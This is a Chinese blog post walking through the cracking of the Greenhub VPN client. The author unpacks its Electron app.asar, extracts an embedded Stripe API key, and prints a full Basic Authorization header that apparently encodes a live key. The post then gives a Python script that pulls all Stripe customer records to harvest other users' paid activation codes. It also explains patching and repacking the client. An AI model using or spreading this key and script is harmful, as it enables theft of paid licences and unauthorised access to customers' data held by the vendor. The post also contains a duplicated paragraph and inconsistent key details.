自动获取Greenhub激活码:源码分析与脚本编写

自动获取Greenhub激活码:源码分析与脚本编写

旁白 Lv.5201314

啰嗦几句

最近写了个爬虫脚本,是关于获取外网图片的。但是,由于某些花里胡哨的因素,导致我不得不使用变身软件把我转化为撑杆僵尸跳跃某个很长很长的墙。必应上一搜,发现Greenhub,虽然速度不算快,但是它至少每日免费1h。

但是有个大问题,我的脚本获取的图片很多,可Greenhub速度又慢,导致我每天能够下载到的图片少之又少,要不然开通高级用户吧,可高级用户以美元收费,买不起。查找根目录,发现这玩意用elevate写的,如果用7-zip的插件可以将app.asar直接解压,app.asar就是Greenhub的源码。这下简单了!

以下文章粗体为代码片段,”…”表示省略

解压源码

首先找到Greenhub根目录,只要在Greenhub的快捷方式上右键点击打开文件所在位置即可

base3

然后找到resources文件夹,可以找到app.asar。我们从这里 下载7-zip插件,将下载后得到的压缩包解压,会有两个dll插件,一个32位,一个64位,根据7-zip的位数自己选择,选好后粘贴到7-zip根目录的Formats文件夹中,如果不知道自己的7-zip是几位,就全部粘贴,根目录没有Formats文件夹就创建一个。装好插件,我们直接右键app.asar,点击显示更多选项(Windows 10可以忽略这一步),找到7-zip,点提取到”app\“,此时可能会报个错:Codec Load Error: …,无视它,点确定即可。解压后源码就在app\dist\electron中,将其中的一大坨代码格式化一下(网上随便一搜就有在线格式化的工具),得到人能看的源码。

寻找API与调用API方法

由于本人不太会JavaScript,所以没有办法做到直接修改源码以达到破解高级的目的。那咋办嘞?只好通过自己最会的语言来破解了,我最会的是Python,和JavaScript毛关系都没有(也可能有一点关系),凉凉了。

等等,Python不是脚本语言吗?我用requests库对Greenhub源码的API进行一波爬虫,说不定就能把激活码搞下来。

于是在renderer.js中通过搜索字符串”http”来寻找api,果不其然,找到了!

base3

看看这名字: STRIPE_GET_ACTIVE_CODE ,生怕我不知道这是获取激活码的函数,再看看它的return,说明访问这个api需要一个名为 Authorization 的header,Authorization中的 “Basic “ + btoa(n + “:”) 是个啥?往上看n的定义:

看看这名字: STRIPE_GET_ACTIVE_CODE ,生怕我不知道这是获取激活码的函数,再看看它的return,说明访问这个api需要一个名为 Authorization 的header,Authorization中的 “Basic “ + btoa(n + “:”) 是个啥?往上看n的定义:

1
var n = "dev" === process.env.APP_BUILD_TYPE ? "sk_test_..." : "rk_live_...";

这好像是个三目运算表达式,换成Python语言则为:

1
n = "sk_test_..." if "dev" == process.env.APP_BUILD_TYPE else "rk_live_..."

完了,这process是啥玩意?怪我没学JavaScript。这下咋办, “Basic “ + btoa(n + “:”) 不知道是啥,要不使用 console.log(“Basic “ + btoa(n + “:”)) ?不行,这玩意不是html网页,输出了应该也看不见。

之前,我想到了一个方法: window.confirm(“Basic “ + btoa(n + “:”)) 。实现输错验证码时弹一个窗口,窗口中的内容就是Authorization的值,为了达到这个效果,我添加了以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
STRIPE_GET_ACTIVE_CODE: function(e) {
// NEW CODE
var temp = window.confirm("Click ok to copy");
if (temp) {
var textarea = document.createElement("textarea");
textarea.value = "Basic" + btoa(n+":");
document.body.appendChild(textarea);
textarea.select();
document.execCommand("copy"); // 虽然过时了,但也能用
document.body.removeChild(textarea);
}
return t({url: "https://api.stripe.com/v1/customers/" + e, method: "get", headers: { Authorization: "Basic " + btoa(n + ":")}})
},

并且将调用这个函数的地方改了一下,即可获得到 Authorization 的值。


2024.8.5新方法: 以上方法为博主在4月份发现的方法,当时也没有过多了解JavaScript。经过一段时间的学习,了解了一些相关知识: btoa 函数可以将字符串加密为Base64。我也将上面的三目运算表达式翻译成了Python。

稍加思考后可以发现:只要知道n的值,再调用btoa函数,就可以获得 Authorization 的值。n的值是通过上面的三目表达式获取的,经过分析,我大概理解了表达式中 process.env.APP_BUILD_TYPE 的意思: process.env 对象包含了用户环境的信息,可以不用管,而后面的 APP_BUILD_TYPE 从名字上看就知道,它表示应用的构建类型。

因此,表达式 var n = “dev” === process.env.APP_BUILD_TYPE ? “sk_test_…” : “rk_live_…”; 是检测greenhub是否为dev版,如果是,则使用字符串 sk_test_… ;如果不是,则使用 rk_live_… 。而我们所使用的版本大概率不是dev版,所以字符串应该是以 rk_live 开头的。


接下来再看这个代码: “Basic “ + btoa(n + “:”) ,可以发现, Authorization 的值是去掉Basic之后,将 n+’:’ 进行base64加密后的结果。所以,我们只需要复制sk_test_… ,并在后面加上一个英文冒号(即sk_test_xxxxx: ),然后打开浏览器,随便进一个网页,按下F12打开开发人员工具,再点击控制台。

输入 console.log(“Basic “ + btoa(“sk_test_xxxxx:”)) 即可获得 Authorization 的值。

TIP:改完代码后,要将代码再次压缩成asar格式,可以直接用7-zip打开app.asar,将改完的js文件拖进去替换就行了

编写Python脚本获取激活码

拿到了Authorization 的值,之后的工作就简单了,直接看代码:

1
2
3
4
5
6
7
import requests

headers = {"Authorization": "Basic cmtfbGl2ZV81MUw5c3JLQ29GamtETjR4UGtvdEs2V0dHUHFmd2tnd3RFNkkxcTFURTlrdktzZ0s3SlQ5Mk5oaUFHeGpKeDQ0ejdHZnBzU1hZNmtpTVkyTTFWWkhFajJZVjAwbjRPS3pUSlg6"}
result = requests.get("https://api.stripe.com/v1/customers", headers=headers).json()

license_code = [customer['metadata']['license_code'] for customer in result['data']]
print(license_code)

requests库需要先在终端中使用pip install requests安装。

headers是我们找到的,使用requests.get是因为该api通过get调用( STRIPE_GET_ACTIVE_CODE的return告诉了我们:return t({url: “https://…” + e, method: “get”, headers: …}) )。

license_code 将api.stripe.com/v1/customers返回的json代码进行解析后得到。

最后,运行代码,得到激活码,点击付费节点,弹出购买弹窗,再点使用激活码激活,粘贴上爬取的激活码,成功激活Greenhub!

  • 标题: 自动获取Greenhub激活码:源码分析与脚本编写
  • 作者: 旁白
  • 创建于 : 2024-04-05 01:39:50
  • 更新于 : 2024-08-05 06:47:50
  • 链接: https://xn--vfv958a.com/2024/04/05/自动获取Greenhub激活码:源码分析与脚本编写/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
此页目录
自动获取Greenhub激活码:源码分析与脚本编写